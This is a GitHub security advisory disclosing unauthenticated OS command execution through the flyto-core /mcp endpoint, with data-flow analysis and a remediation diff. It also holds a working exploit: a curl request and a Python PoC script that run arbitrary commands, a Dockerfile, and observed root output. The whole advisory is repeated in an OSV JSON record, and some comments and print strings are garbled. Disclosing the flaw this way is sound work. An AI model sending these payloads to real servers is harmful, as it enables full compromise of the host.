GHSA-H9F9-H6GM-WC85
Vulnerability from github – Published: 2026-07-06 17:41 – Updated: 2026-07-06 17:41Unauthenticated Command Execution via HTTP MCP execute_module
Summary
The HTTP MCP endpoint (POST /mcp) in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered modules, including sandbox.execute_shell, which passes attacker-controlled input directly to asyncio.create_subprocess_shell. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to 127.0.0.1, making this a High-severity local vulnerability (CVSS 8.4); if started with --host 0.0.0.0, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as root inside a Docker container without any Authorization header.
Details
flyto-core exposes an HTTP API via FastAPI. When the API is started (flyto serve), the MCP router is unconditionally mounted at /mcp (src/core/api/server.py:75-78). The route handler at src/core/api/routes/mcp.py:65-66 declares @router.post("") with no Depends(require_auth) dependency, unlike the analogous REST execution routes (src/core/api/routes/modules.py:93) which enforce both authentication and a module denylist.
The complete unauthenticated data flow from source to sink:
src/core/api/server.py:75-78—mcp_routeris mounted under/mcpunconditionally at app creation.src/core/api/routes/mcp.py:65-66—@router.post("")has noDepends(require_auth)guard; any HTTP client may POST to this route.src/core/api/routes/mcp.py:79— the full request body (attacker-controlled JSON) is parsed without validation.src/core/api/routes/mcp.py:103-104— each JSON-RPC item is forwarded tohandle_jsonrpc_requestwithout amodule_filter.src/core/mcp_handler.py:813-838—tools/callwith nameexecute_moduleforwards attacker-controlledmodule_idandparamstoexecute_module().src/core/mcp_handler.py:180,214-215— the module registry resolvesmodule_idand invokes it with attacker-suppliedparams.src/core/modules/registry/decorators.py:96-101— the function wrapper exposesself.paramsascontext['params'].src/core/modules/atomic/sandbox/execute_shell.py:137-139—commandis read directly fromparamswith no sanitization.src/core/modules/atomic/sandbox/execute_shell.py:163-169—commandreachesasyncio.create_subprocess_shellwithshell=Trueand no allowlist or escaping.
The sandbox.execute_shell module is not covered by the default denylist (_DEFAULT_DENYLIST = ["shell.*", "process.*"] at src/core/api/security.py:126), so even if module_filter were applied it would still be reachable.
Vulnerable code excerpts:
# src/core/api/routes/mcp.py:65-66 — missing auth
@router.post("")
async def mcp_post(request: Request):
# src/core/mcp_handler.py:832-838 — attacker-controlled dispatch
elif tool_name == "execute_module":
result = await execute_module(
module_id=arguments.get("module_id", ""),
params=arguments.get("params", {}),
context=arguments.get("context"),
browser_sessions=browser_sessions,
)
# src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink
params = context['params']
command = params.get('command', '')
# ... only empty-command and cwd existence checks ...
proc = await asyncio.create_subprocess_shell(command, ...)
Contrast with the protected REST route:
# src/core/api/routes/modules.py:93 — correctly guarded
@router.post("/execute", dependencies=[Depends(require_auth)])
The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.
PoC
Environment setup (Docker):
# Build the image (context: the report directory containing repo/ and vuln-001/)
docker build \
-f vuln-001/Dockerfile \
-t flyto-vuln-001 \
reports/mcp_57_flytohub__flyto-core/
# Start the server (binds 0.0.0.0:8333 inside the container)
docker run --rm -d \
-p 127.0.0.1:8333:8333 \
--name flyto-vuln-001-test \
flyto-vuln-001
Exploit (curl) — no Authorization header:
curl -sS http://127.0.0.1:8333/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_module",
"arguments": {
"module_id": "sandbox.execute_shell",
"params": {"command": "id", "timeout": 5}
}
}
}'
Exploit (Python PoC script):
python3 vuln-001/poc.py \
--host 127.0.0.1 --port 8333 --command id
Observed response (dynamic reproduction, Phase 2):
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"structuredContent": {
"ok": true,
"data": {
"stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
"stderr": "",
"exit_code": 0,
"execution_time_ms": 4.84
}
},
"isError": false
}
}
The uid=0(root) output confirms arbitrary OS command execution without any authentication. The HTTP response status was 200 OK.
Network-accessible variant:
If the operator starts flyto-core with --host 0.0.0.0 (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.
Recommended remediation:
--- a/src/core/api/routes/mcp.py
+++ b/src/core/api/routes/mcp.py
-from fastapi import APIRouter, Request
+from fastapi import APIRouter, Depends, Request
from fastapi.responses import JSONResponse, Response
from core.mcp_handler import handle_jsonrpc_request
+from core.api.security import require_auth, module_filter
-@router.post("")
+@router.post("", dependencies=[Depends(require_auth)])
async def mcp_post(request: Request):
result = await handle_jsonrpc_request(item, browser_sessions)
+ result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)
-@router.delete("")
+@router.delete("", dependencies=[Depends(require_auth)])
async def mcp_delete(request: Request):
--- a/src/core/api/security.py
+++ b/src/core/api/security.py
-_DEFAULT_DENYLIST = ["shell.*", "process.*"]
+_DEFAULT_DENYLIST = ["shell.*", "process.*", "sandbox.*"]
Impact
This is an unauthenticated OS command injection vulnerability. Any process that can reach the POST /mcp HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as root, meaning full system compromise is possible.
Affected parties include:
- Developers and local users running
flyto serveon their workstations — any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface. - Infrastructure operators who expose the API on a non-loopback interface (
--host 0.0.0.0) without network-level access controls — the attack surface becomes the entire network.
Potential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
# lxml buildtext requiredtext whentext text
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc g++ libxml2-dev libxslt1-dev \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# local repo copy source (build context: mcp_57_flytohub__flyto-core/)
COPY repo/ /app/repo/
# flyto-core[api] install (fastapi + uvicorn contains)
RUN pip install --no-cache-dir "/app/repo[api]"
EXPOSE 8333
# container externalfrom accessibletext 0.0.0.0 binding
CMD ["python", "-c", "from core.api.server import main; main(host='0.0.0.0', port=8333)"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module
Target: flyto-core 2.26.2
Route: POST /mcp (no auth dependency — mcp.py:65)
Sink: asyncio.create_subprocess_shell (execute_shell.py:163)
CWE: CWE-306 Missing Authentication for Critical Function
Usage:
python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]
"""
import sys
import time
import json
import argparse
import urllib.request
import urllib.error
def wait_for_server(base_url: str, max_wait: int = 45) -> bool:
"""servertext readytext until /health text."""
for i in range(max_wait):
try:
with urllib.request.urlopen(f"{base_url}/health", timeout=2) as resp:
if resp.status == 200:
print(f"[+] server is ready ({i}s textand)")
return True
except Exception:
pass
time.sleep(1)
if i % 5 == 4:
print(f"[*] wait in progress... ({i+1}s)")
return False
def send_exploit(base_url: str, command: str) -> dict:
"""without authentication POST /mcptext arbitrary command execute request."""
payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_module",
"arguments": {
"module_id": "sandbox.execute_shell",
"params": {
"command": command,
"timeout": 10
}
}
}
}
data = json.dumps(payload).encode("utf-8")
req = urllib.request.Request(
f"{base_url}/mcp",
data=data,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=20) as resp:
body = resp.read().decode("utf-8")
return json.loads(body)
def main():
parser = argparse.ArgumentParser(description="VULN-001 PoC — flyto-core unauthenticated RCE via MCP")
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8333)
parser.add_argument("--command", default="id", help="OS command to execute (default: id)")
args = parser.parse_args()
base_url = f"http://{args.host}:{args.port}"
print("=" * 60)
print("VULN-001: Unauthenticated RCE via HTTP MCP execute_module")
print(f" Target : {base_url}/mcp")
print(f" Command : {args.command}")
print("=" * 60)
print()
# 1. wait for server readiness
print("[*] waiting for server startup in progress...")
if not wait_for_server(base_url):
print("[-] FAIL: servertext whenbetween within not respond not")
sys.exit(1)
# 2. without authentication exploit send request
print(f"\n[*] POST {base_url}/mcp — without an Authorization header send")
try:
result = send_exploit(base_url, args.command)
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")
print(f"[-] HTTP {e.code}: {body}")
print("[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)")
sys.exit(1)
except Exception as e:
print(f"[-] text error: {e}")
sys.exit(1)
# 3. response parse
print(f"\n[*] Raw JSON response:\n{json.dumps(result, indent=2, ensure_ascii=False)}\n")
# result.result.structuredContent.data.stdout
try:
structured = result["result"]["structuredContent"]
data = structured["data"]
stdout = data.get("stdout", "")
stderr = data.get("stderr", "")
exit_code = data.get("exit_code", -1)
except (KeyError, TypeError) as e:
print(f"[-] FAIL: expected response structure text — {e}")
print(f" result keys: {list(result.get('result', {}).keys())}")
sys.exit(1)
print(f"[*] exit_code = {exit_code}")
print(f"[*] stdout = {stdout!r}")
print(f"[*] stderr = {stderr!r}")
print()
# 4. success verdict: `id` command resulttext uid= contains whether
if "uid=" in stdout:
print("[+] ============================================================")
print("[+] PASS: without authentication text OS command execution check!")
print(f"[+] command output: {stdout.strip()}")
print("[+] ============================================================")
sys.exit(0)
else:
print("[-] FAIL: stdouttext 'uid=' none — commandtext executenot text outputtext different")
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "flyto-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.26.2"
},
{
"fixed": "2.26.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55786"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T17:41:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Unauthenticated Command Execution via HTTP MCP `execute_module`\n\n### Summary\n\nThe HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header.\n\n### Details\n\nflyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post(\"\")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist.\n\nThe complete unauthenticated data flow from source to sink:\n\n1. **`src/core/api/server.py:75-78`** \u2014 `mcp_router` is mounted under `/mcp` unconditionally at app creation.\n2. **`src/core/api/routes/mcp.py:65-66`** \u2014 `@router.post(\"\")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route.\n3. **`src/core/api/routes/mcp.py:79`** \u2014 the full request body (attacker-controlled JSON) is parsed without validation.\n4. **`src/core/api/routes/mcp.py:103-104`** \u2014 each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`.\n5. **`src/core/mcp_handler.py:813-838`** \u2014 `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`.\n6. **`src/core/mcp_handler.py:180`, `214-215`** \u2014 the module registry resolves `module_id` and invokes it with attacker-supplied `params`.\n7. **`src/core/modules/registry/decorators.py:96-101`** \u2014 the function wrapper exposes `self.params` as `context[\u0027params\u0027]`.\n8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** \u2014 `command` is read directly from `params` with no sanitization.\n9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** \u2014 `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping.\n\nThe `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable.\n\n**Vulnerable code excerpts:**\n\n```python\n# src/core/api/routes/mcp.py:65-66 \u2014 missing auth\n@router.post(\"\")\nasync def mcp_post(request: Request):\n```\n\n```python\n# src/core/mcp_handler.py:832-838 \u2014 attacker-controlled dispatch\nelif tool_name == \"execute_module\":\n result = await execute_module(\n module_id=arguments.get(\"module_id\", \"\"),\n params=arguments.get(\"params\", {}),\n context=arguments.get(\"context\"),\n browser_sessions=browser_sessions,\n )\n```\n\n```python\n# src/core/modules/atomic/sandbox/execute_shell.py:137-169 \u2014 sink\nparams = context[\u0027params\u0027]\ncommand = params.get(\u0027command\u0027, \u0027\u0027)\n# ... only empty-command and cwd existence checks ...\nproc = await asyncio.create_subprocess_shell(command, ...)\n```\n\n**Contrast with the protected REST route:**\n\n```python\n# src/core/api/routes/modules.py:93 \u2014 correctly guarded\n@router.post(\"/execute\", dependencies=[Depends(require_auth)])\n```\n\nThe existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build the image (context: the report directory containing repo/ and vuln-001/)\ndocker build \\\n -f vuln-001/Dockerfile \\\n -t flyto-vuln-001 \\\n reports/mcp_57_flytohub__flyto-core/\n\n# Start the server (binds 0.0.0.0:8333 inside the container)\ndocker run --rm -d \\\n -p 127.0.0.1:8333:8333 \\\n --name flyto-vuln-001-test \\\n flyto-vuln-001\n```\n\n**Exploit (curl) \u2014 no Authorization header:**\n\n```bash\ncurl -sS http://127.0.0.1:8333/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"execute_module\",\n \"arguments\": {\n \"module_id\": \"sandbox.execute_shell\",\n \"params\": {\"command\": \"id\", \"timeout\": 5}\n }\n }\n }\u0027\n```\n\n**Exploit (Python PoC script):**\n\n```bash\npython3 vuln-001/poc.py \\\n --host 127.0.0.1 --port 8333 --command id\n```\n\n**Observed response (dynamic reproduction, Phase 2):**\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"result\": {\n \"structuredContent\": {\n \"ok\": true,\n \"data\": {\n \"stdout\": \"uid=0(root) gid=0(root) groups=0(root)\\n\",\n \"stderr\": \"\",\n \"exit_code\": 0,\n \"execution_time_ms\": 4.84\n }\n },\n \"isError\": false\n }\n}\n```\n\nThe `uid=0(root)` output confirms arbitrary OS command execution without any authentication. The HTTP response status was `200 OK`.\n\n**Network-accessible variant:**\n\nIf the operator starts flyto-core with `--host 0.0.0.0` (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.\n\n**Recommended remediation:**\n\n```diff\n--- a/src/core/api/routes/mcp.py\n+++ b/src/core/api/routes/mcp.py\n-from fastapi import APIRouter, Request\n+from fastapi import APIRouter, Depends, Request\n from fastapi.responses import JSONResponse, Response\n from core.mcp_handler import handle_jsonrpc_request\n+from core.api.security import require_auth, module_filter\n\n-@router.post(\"\")\n+@router.post(\"\", dependencies=[Depends(require_auth)])\n async def mcp_post(request: Request):\n result = await handle_jsonrpc_request(item, browser_sessions)\n+ result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)\n\n-@router.delete(\"\")\n+@router.delete(\"\", dependencies=[Depends(require_auth)])\n async def mcp_delete(request: Request):\n```\n\n```diff\n--- a/src/core/api/security.py\n+++ b/src/core/api/security.py\n-_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\"]\n+_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\", \"sandbox.*\"]\n```\n\n### Impact\n\nThis is an **unauthenticated OS command injection** vulnerability. Any process that can reach the `POST /mcp` HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as `root`, meaning full system compromise is possible.\n\nAffected parties include:\n\n- **Developers and local users** running `flyto serve` on their workstations \u2014 any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface.\n- **Infrastructure operators** who expose the API on a non-loopback interface (`--host 0.0.0.0`) without network-level access controls \u2014 the attack surface becomes the entire network.\n\nPotential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# lxml buildtext requiredtext whentext text\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n gcc g++ libxml2-dev libxslt1-dev \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# local repo copy source (build context: mcp_57_flytohub__flyto-core/)\nCOPY repo/ /app/repo/\n\n# flyto-core[api] install (fastapi + uvicorn contains)\nRUN pip install --no-cache-dir \"/app/repo[api]\"\n\nEXPOSE 8333\n\n# container externalfrom accessibletext 0.0.0.0 binding\nCMD [\"python\", \"-c\", \"from core.api.server import main; main(host=\u00270.0.0.0\u0027, port=8333)\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module\n\nTarget: flyto-core 2.26.2\nRoute: POST /mcp (no auth dependency \u2014 mcp.py:65)\nSink: asyncio.create_subprocess_shell (execute_shell.py:163)\nCWE: CWE-306 Missing Authentication for Critical Function\n\nUsage:\n python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]\n\"\"\"\nimport sys\nimport time\nimport json\nimport argparse\nimport urllib.request\nimport urllib.error\n\n\ndef wait_for_server(base_url: str, max_wait: int = 45) -\u003e bool:\n \"\"\"servertext readytext until /health text.\"\"\"\n for i in range(max_wait):\n try:\n with urllib.request.urlopen(f\"{base_url}/health\", timeout=2) as resp:\n if resp.status == 200:\n print(f\"[+] server is ready ({i}s textand)\")\n return True\n except Exception:\n pass\n time.sleep(1)\n if i % 5 == 4:\n print(f\"[*] wait in progress... ({i+1}s)\")\n return False\n\n\ndef send_exploit(base_url: str, command: str) -\u003e dict:\n \"\"\"without authentication POST /mcptext arbitrary command execute request.\"\"\"\n payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"execute_module\",\n \"arguments\": {\n \"module_id\": \"sandbox.execute_shell\",\n \"params\": {\n \"command\": command,\n \"timeout\": 10\n }\n }\n }\n }\n\n data = json.dumps(payload).encode(\"utf-8\")\n req = urllib.request.Request(\n f\"{base_url}/mcp\",\n data=data,\n headers={\"Content-Type\": \"application/json\"},\n method=\"POST\",\n )\n\n with urllib.request.urlopen(req, timeout=20) as resp:\n body = resp.read().decode(\"utf-8\")\n\n return json.loads(body)\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"VULN-001 PoC \u2014 flyto-core unauthenticated RCE via MCP\")\n parser.add_argument(\"--host\", default=\"127.0.0.1\")\n parser.add_argument(\"--port\", type=int, default=8333)\n parser.add_argument(\"--command\", default=\"id\", help=\"OS command to execute (default: id)\")\n args = parser.parse_args()\n\n base_url = f\"http://{args.host}:{args.port}\"\n\n print(\"=\" * 60)\n print(\"VULN-001: Unauthenticated RCE via HTTP MCP execute_module\")\n print(f\" Target : {base_url}/mcp\")\n print(f\" Command : {args.command}\")\n print(\"=\" * 60)\n print()\n\n # 1. wait for server readiness\n print(\"[*] waiting for server startup in progress...\")\n if not wait_for_server(base_url):\n print(\"[-] FAIL: servertext whenbetween within not respond not\")\n sys.exit(1)\n\n # 2. without authentication exploit send request\n print(f\"\\n[*] POST {base_url}/mcp \u2014 without an Authorization header send\")\n try:\n result = send_exploit(base_url, args.command)\n except urllib.error.HTTPError as e:\n body = e.read().decode(\"utf-8\", errors=\"replace\")\n print(f\"[-] HTTP {e.code}: {body}\")\n print(\"[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)\")\n sys.exit(1)\n except Exception as e:\n print(f\"[-] text error: {e}\")\n sys.exit(1)\n\n # 3. response parse\n print(f\"\\n[*] Raw JSON response:\\n{json.dumps(result, indent=2, ensure_ascii=False)}\\n\")\n\n # result.result.structuredContent.data.stdout\n try:\n structured = result[\"result\"][\"structuredContent\"]\n data = structured[\"data\"]\n stdout = data.get(\"stdout\", \"\")\n stderr = data.get(\"stderr\", \"\")\n exit_code = data.get(\"exit_code\", -1)\n except (KeyError, TypeError) as e:\n print(f\"[-] FAIL: expected response structure text \u2014 {e}\")\n print(f\" result keys: {list(result.get(\u0027result\u0027, {}).keys())}\")\n sys.exit(1)\n\n print(f\"[*] exit_code = {exit_code}\")\n print(f\"[*] stdout = {stdout!r}\")\n print(f\"[*] stderr = {stderr!r}\")\n print()\n\n # 4. success verdict: `id` command resulttext uid= contains whether\n if \"uid=\" in stdout:\n print(\"[+] ============================================================\")\n print(\"[+] PASS: without authentication text OS command execution check!\")\n print(f\"[+] command output: {stdout.strip()}\")\n print(\"[+] ============================================================\")\n sys.exit(0)\n else:\n print(\"[-] FAIL: stdouttext \u0027uid=\u0027 none \u2014 commandtext executenot text outputtext different\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-h9f9-h6gm-wc85",
"modified": "2026-07-06T17:41:03Z",
"published": "2026-07-06T17:41:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-h9f9-h6gm-wc85"
},
{
"type": "PACKAGE",
"url": "https://github.com/flytohub/flyto-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.